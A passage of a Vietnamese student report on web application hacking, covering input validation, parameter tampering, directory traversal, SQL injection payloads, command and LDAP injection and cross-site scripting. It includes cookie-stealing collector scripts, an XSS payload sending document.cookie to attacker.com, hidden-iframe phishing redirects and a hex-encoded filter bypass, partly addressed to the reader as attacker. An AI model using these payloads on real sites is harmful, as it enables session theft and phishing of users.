1.1.2 Lỗi tham số giả mạo parameter tampering:Hình 2: Lỗi tham số giả mạo Lỗi tham số giả mạo là một hình thức tấn công dựa trên web, trong đó dựa vào các thông số của URL hoặc các tham
Trang 1Web Application
Hacking
Giảng viên hướng dẫn: Nguyễn Duy
08520357 - Nguyễn Tấn Thành
08520432 - Nguyễn Đức Trung
08520370 - Mẫn Văn Thắng
08520123 - Nguyễn Hinh
Trang 2Mục Lục
Trang 3Mục Lục hình ảnh
Trang 41 Hacking Web Application
1.1 Lỗi thường gặp:
1.1.1 Lỗi ràng buộc đầu vào (input validation flaw):
Hình 1: Lỗi ràng buộc đầu vào
Lỗi ràng buộc đầu vào là một trong những lỗi cơ bản nhất thường gặp phải Hiện phần lớn các lỗi dẫn đến các cuộc tấn công của các website thường được khai thác từ lỗi cơ bản này
Với sai sót về kiểm tra các tham số đầu vào khi có sự chuyển giao các giá trị giữa server
và máy client, kẻ tấn công sẽ tận dụng các lỗi này để dò tìm, thay đổi các truy vấn có sẵn thành các truy vấn có lợi cho kẻ tấn công Qua đó, kẻ tấn công có thể khai thác các thông tin nhạy cảm như mật khẩu, tên người dùng, các thông tin về tài khoản tín dụng v.v… Thường các khai thác này được thực hiện trên các form có sẳn của website Các form này khi gửi lên không được nhà lập trình kiểm tra về tính đúng đắn của dữ liệu Có thể ví dụ như các form đăng nhập Với các truy vấn bình thường sẽ thường có cú pháp như sau:
http://juggyboy.com/login.aspx?user=jason&pass=springfield
Tuy nhiên, khi không có sự kiểm tra dữ liệu gửi lên, kẻ tấn công có thể thay đổi thành một truy vấn vào thẳng cơ cở dữ liệu của hệ thống
Lỗi ràng buộc đầu vào chỉ là bước cơ bản để khai thác lổ hổng của ứng dụng web Kẻ tấn công sẽ khai thác các lỗi để thực thi các cuộc tấn công như : cross-site scripting, tràn bộ đệm, tấn công truy vấn injection v.v…
Trang 51.1.2 Lỗi tham số giả mạo (parameter tampering):
Hình 2: Lỗi tham số giả mạo
Lỗi tham số giả mạo là một hình thức tấn công dựa trên web, trong đó dựa vào các thông
số của URL hoặc các tham số trong form của người sử dụng được thay đổi mà không được sự cho phép của người dùng đó Lổi này được khai thác trên các được liên kết, trang hoặc site
Lỗi tham số giả mạo thường được các tội phạm, kẻ ăn cắp thông tin sử dụng để khai thác thông tin cá nhân hoặc kinh doanh của người sử dụng
Các biện pháp cụ thể để đối phó với lỗi này liên quan đến việc xác nhận tất cả các tham
số, đảm bảo rằng nó phù hợp với các tiêu chuẩn như: chiều dài tối đa, chiều dài tối thiểu, phạm vi cho phép về ký tự, các tham số có thực sự cần thiết
1.1.3 Lỗi truy vấn thư mục (directory traversal):
Hình 3: Lỗi tham số giả mạo
Lỗi truy vấn thư mục được khai thác khi việc xác thực tham số khi người dùng cung câp tệp tin đầu vào không an toàn Điều này xãy ra khi ký tự đại diện trở về thư mục cha được sử dụng làm tham số đầu vào Thông qua các API tải tệp tin, kẻ tấn công sẽ cố gắng khai thác các tệp tin cấp thư mục cao hơn thư mục có sẵn
Mục tiêu của các kẻ tấn công là tìm cách đọc các file hệ thống mà thường thì nó không thể truy cập với quyền người dùng được
Khác với lỗi khai thác trong code lập trình, đây là lỗi khai thác về điểm yếu của bảo mật
Trang 61.1.4 Lỗi trường ẩn (hidden field):
Hình 4: Lỗi trường ẩn
Khi người sử dụng thực hiện chọn trên các trang html, các lệnh chọn sẽ tự động chứa các thông tin vào các dữ liệu form và gửi cho ứng dụng web bằng các HTTP request
HTML có thể chứa các trường giá trị như là các trường ẩn, nó không được hiển thị trên giao diện trình duyệt, nhưng nó được gửi lên như một tham số khi form được gửi Kẻ tấn công có thể xem xét mã HTML và thay đổi các giá trị của trường ẩn để thay đổi tham số gửi đến server
Khi nhà lập trình không kiểm soát các trường ẩn này, các thông số này có thể được thông qua và gây các lỗi tiềm tàng cho hệ thống
Thông thường, lỗi này được sử dụng để thay đổi các giá trị gửi đến server nhằm mục đích thương mại hoặc qua mặt sự kiểm tra của hệ thống Đây cũng là lỗi giúp kẻ tấn công thực hiện các cuộc tấn công phức tạp hơn
Trang 71.2 Lỗi Injection:
1.2.1 Lỗi truy vấn SQL (SQL injection):
Hình 5: Lỗi truy vấn SQL
SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ
sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp, Sql injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete, insert, update,
… trên cơ sỡ dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy, lỗi này thường xãy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở
dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase
1.2.1.1 Không kiểm tra ký tự thoát truy vấn
Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong câu truy vấn SQL Kết quả là người dùng cuối có thể thực hiện một số truy vấn không mong muốn đối với cơ sở dữ liệu của ứng dụng Dòng mã sau sẽ minh họa lỗi này: statement = "SELECT * FROM users WHERE name = '" + userName + "';"
Câu lệnh này được thiết kế để trả về các bản ghi tên người dùng cụ thể từ bảng những người dùng Tuy nhiên, nếu biến "userName" được nhập chính xác theo một cách nào đó bởi người dùng ác ý, nó có thể trở thành một câu truy vấn SQL với mục đích khác hẳn so với mong muốn của tác giả đoạn mã trên Ví dụ, ta nhập vào giá trị của biến userName như sau:
Trang 8a' or 't'='t
Khiến câu truy vấn có thể được hiểu như sau:
SELECT * FROM users WHERE name = 'a' OR 't'='t';
Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì ví dụ trên có thể được sử dụng để bắt buộc lựa chọn một tên người dùng hợp lệ bởi 't'='t' luôn đúng Trong khi hầu hết các SQL server cho phép thực hiện nhiều truy vấn cùng lúc chỉ với một lần gọi, tuy nhiên một số SQL API như mysql_query của php lại không cho phép điều đó vì lý do bảo mật Điều này chỉ ngăn cản tin tặc tấn công bằng cách sử dụng các câu lệnh riêng rẽ mà không ngăn cản tin tặc thay đổi các từ trong cú pháp truy vấn Các giá trị của biến
"userName" trong câu truy vấn dưới đây sẽ gây ra việc xoá những người dùng từ bảng người dùng cũng tương tự như việc xóa tất cả các dữ liệu được từ bảng dữ liệu (về bản chất là tiết lộ các thông tin của mọi người dùng), ví dụ này minh họa bằng một API cho phéo thực hiện nhiều truy vấn cùng lúc:
a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't
Điều này đưa tới cú pháp cuối cùng của câu truy vấn trên như sau:
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM DATA WHERE 't' = 't';
1.2.1.2 Xử lý không đúng kiểu
Lỗi SQL injection dạng này thường xảy ra do lập trình viên hay người dùng định nghĩa đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu vào Điều này có thể xảy ra khi một trường số được sử dụng trong truy vấn SQL nhưng lập trình viên lại thiếu bước kiểm tra dữ liệu đầu vào để xác minh kiểu của dữ liệu mà người dùng nhập vào có phải là số hay không Ví dụ như sau:
statement := "SELECT * FROM data WHERE id = " + a_variable + ";"
Ta có thể nhận thấy một cách rõ ràng ý định của tác giả đoạn mã trên là nhập vào một số tương ứng với trường id - trường số Tuy nhiên, người dùng cuối, thay vì nhập vào một
số, họ có thể nhập vào một chuỗi ký tự, và do vậy có thể trở thành một câu truy vấn SQL hoàn chỉnh mới mà bỏ qua ký tự thoát Ví dụ, ta thiết lập giá trị của biến a_variable là: 1;DROP TABLE users
khi đó, nó sẽ thực hiện thao tác xóa người dùng có id tương ứng khỏi cơ sở dữ liệu, vì câu truy vấn hoàn chỉnh đã được hiểu là:
SELECT * FROM DATA WHERE id=1;DROP TABLE users;
Trang 91.2.1.3 Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu
Đôi khi lỗ hổng có thể tồn tại chính trong phần mềm máy chủ cơ sở dữ liệu, như là trường hợp hàm mysql_real_escape_string() của các máy chủ MySQL Điều này sẽ cho phép kẻ tấn công có thể thực hiện một cuộc tấn công SQL injection thành công dựa trên những ký tự Unicode không thông thường ngay cả khi đầu nhập vào đang được thoát
1.2.1.4 Blind SQL injection
Lỗi SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu quả của chúng lại không hiển thị trực quan cho những kẻ tấn công Nó có thể gây ra sự sai khác khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự tấn công SQL injection dạng này khiến cho lập trình viên hay người dùng phải mất rất nhiều thời gian để phục hồi chính xác từng bit dữ liệu Những kẻ tấn công còn có thể sử dụng một
số công cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã được thiết lập sẵn
1.2.1.5 Thay đổi giá trị điều kiện truy vấn
Dạng lỗi này khiến cho kẻ tấn công có thể thay đổi giá trị điều kiện trong câu truy vấn, làm sai lệch sự hiển thị của một ứng dụng chứa lỗi này
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1;
Sẽ hiển thị một trang một cách bình thường, trong khi:
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2;
sẽ hiển thị một nội dung khác, hoặc không hiển thị gì nếu ứng dụng web có chứa lỗi SQL injection dạng này Lỗ hổng dạng này còn cho phép tin tặc không chỉ gây ảnh hưởng tới bảng hay dữ liệu hiện tại mà còn ảnh hưởng tới những dữ liệu hay bảng khác phụ thuộc vào nội dung của dữ liệu hay bảng hiện tại
1.2.1.6 Điều kiện lỗi
Lỗi SQL injection dạng này dẫn tới việc buộc cơ sở dữ liệu chỉ được phép đánh giá khi
mà giá trị của câu lệnh WHERE là đúng Ví dụ:
SELECT 1/0 FROM users WHERE username='Ralph';
Phép chia cho 0 chỉ được đánh giá là lỗi khi mà người dùng có tên "Ralph" tồn tại trong
cơ sở dữ liệu
1.2.1.7 Thời gian trễ
Lỗi SQL injection dạng này tồn tại khi thời gian xử lý của một hay nhiều truy vấn SQL phụ thuộc vào dữ liệu logic được nhập vào hoặc quá trình xử lý truy vấn của SQL engine cần nhiều thời gian Tin tặc có thể sử dụng lỗi SQL injection dạng này để xác định thời gian chính xác mà trang cần tải khi giá trị nhập vào là đúng
Trang 101.2.2 Lỗi truy vấn lệnh (Command line injection):
Hình 6: Lỗi truy vấn lệnh
Lỗi truy vấn lệnh là một tấn công bằng truy vấn, nó gần giống với lỗi truy vấn SQL, nhưng nó không dựa trên việc khai thác SQL mà khai thác các hàm hệ thống, hàm dịch
vụ web có sẵn
Shell injection là một dàng của lỗi truy vấn lệnh Nó sử dụng các hàm system(),
StartProcess(), exec(), Start() và các hàm API tương đồng
Ngoài ra, có một cách khác là dùng kiểu khai thác lỗi File injection Qua đó kẻ tấn công
sẽ tận dụng các lỗi và chèn các mã độc vào các file hệ thống
1.2.3 Lỗi truy vấn LDAP (LDAP injection):
Hình 7: Lỗi Truy vấn LDAP
Lỗi truy vấn LDAP là kiểu tấn công giống lỗi truy vấn SQL nhưng nó khai thác từ tham
số người dùng để phát sinh các truy vấn LDAP
Để kiểm tra nguy cơ lỗi truy vấn LDAP bằng cách : gửi một truy vấn với đầu vào bị lỗi Nếu server LDAP trả về thông báo lỗi, thì nó có thể khai thác lỗi này
Trang 111.3 Cross Site Scripting:
Cross Site Scripting (Viết tắt XSS) là một trong những cách thức tấn công ứng dụng web phổ biến XSS được nhúng kịch bản trong một trang web thực hiện trên phía máy khách (trong trình duyệt web của người dùng) hơn là về phía máy chủ XSS là một mối đe dọa bởi các điểm yếu an ninh mạng của các ngôn ngữ kịch bản phía máy khách, với HTML và JavaScript (ngoài ra còn có VBScript, ActiveX, HTML, hoặc Flash) là thủ phạm chính trong việc khai thác này Khái niệm về XSS là thao tác các kịch bản phía máy khách của một ứng dụng web để thực hiện theo cách mong muốn của kẻ xấu Những kịch bản đã nhúng vào trang web sẽ được thực hiện khi người dùng tải trang hoặc có những tác vụ liên quan
Hình 8: Cross Site Scripting
XSS cho phép attacker chèn các đoạn mã vào link của đường dẫn, để thực thi trên trình duyệt của người dùng, dẫn đến việc mất cookies, mật khẩu, session hay fishing lừa đảo hay chèn virus
Thường thì XSS có dạng như sau:
http://www.xxx.com/index.php?query=<sc ;alert('bug !');</script>
Và nội dung hiện ra trên trình duyệt sẽ là: "bug!"
1.3.1 Cách khai thác lỗi XSS:
Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, còn XSS lại không gây hại đến hệ thống của sever mà đối tượng tấn công chủ yếu của XSS lại là người dùng!
Trang 121.3.1.1 Cách lấy cookies:
Hacker sẽ tạo ra ở host của mình một file cookie.asp có nội dung:
<% Set x = CreateObject("Scripting.FileSystemObject") Set y =
x.OpenTextFile(Server.MapPath("xss.txt"), 8, true) y.WriteLine
Request.QueryString("cookie") y.Close Set y = Nothing Set x = Nothing %>
hoặc file cookie.php như sau:
<? $f = fopen("xss.txt","a"); fputs($f, $cook.chr(13)); fclose($f); ?>
và sau đó chèn vào link web bị lỗi nó sẽ có dạng:
[URL="http://www.xxx.com/index.php?query=%3C"]http://www.xxx.com/index.php? query=<[/URL] script>window.open("http://www.attacker.com/cookie.asp?
cookie="+document.cookie)< /script>
Sau khi người dùng click vào link của bạn thì bạn chỉ việc vào file xss.txt mà xem cookies thôi!
bạn có thể lấy cookies của người dùng tuy nhiên việc sử dụng được cookies lại là một vấn đề khác, phụ thuộc vào loại cookies và cả cách login của trang web đó nữa!
1.3.1.2 Attacker dùng XSS để lừa đảo!
Ngoài việc lấy cookies, các attacker còn có thể hướng trình duyệt của người dùng đến trang web mà Attacker thiết kế sẵn!
Sau khi attacker đã có thông tin về lỗi XSS, họ có thể dùng IFRAME, code như sau:
<iframe src='http://www.attacker.com' width='1' height='1' style='visibility;
hidden;'></iframe>
hoặc:
<meta http-equiv="Refresh" content="0;url=http://www.attacker.com">
Ngoài ra bạn hoàn toàn có thể dùng hàm open, close window để chuyển hướng web sang một trang web khác bạn muốn
Mình còn cách này hay hơn : Dùng hàm write In ra một thẻ div đặt độ rộng là 1024, cao
800 possion : absulitly, left=0, top=0 Như vậy là cái div vừa tạo sẽ che toàn bộ màn hình, thế là người dùng đã vào trang lừa đảo của các attacker!
Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game, shopping, Ngân hàng, Tín dụng hoặc là chèn virus!
Trang 13Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game, shopping, Ngân hàng, Tín dụng
Vượt qua cơ chế lọc ký tự:
Nhiều coder khôn khéo lọc hết các kỹ tự đặc biệt như ' hay + để tránh các việc chèn lệnh trên URL để tấn công SQL hay XSS nhưng một attacker cao tay sẽ dễ dàng giải quyết việc này bằng cách sử dụng mã hóa HEX thay thế để khai thác
http://www.sitebiXSS.com/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e
%64%6 f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%7 7%77%2e
%63%67%69%73%65%63%75%72%69%74%79
%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6 b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%
75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72
%69%70%74%3e
link site chuyển đổi:
http://www.swingnote.com/tools/txt2hex.php
1.3.1.3 Phát hiện XSS:
Nếu như bạn sử dụng các mả nguồn có sẵn trên internet thì bạn có thể tìm các lỗi trên các trang thông báo bug, các mail list như: securityfocus.com, securiteam.com
milw0rm.com
Còn nếu như bạn sử dụng mã ngu6ồn tự viết thì bạn có thể dựa vào khả năng của mình để tìm bug XSS trên code hay là dùng các chương trinh scan bug, phổ biến nhất là Acunetix
1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages , Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó
Cách tìm lỗi để cho rõ ràng thì các chuyên gia bảo mật chia làm 7 bước nhưng theo tôi nên chia thành 5 bước : Bước 1 : Mở website cần kiểm tra ( cái này tất nhiên rồi )
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ "XSS" chẳng hạn hay chữ gì cũng được
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả
về : Ví dụ bạn thấy như thế này : · "Your search for 'XSS' did not find any items" · "Your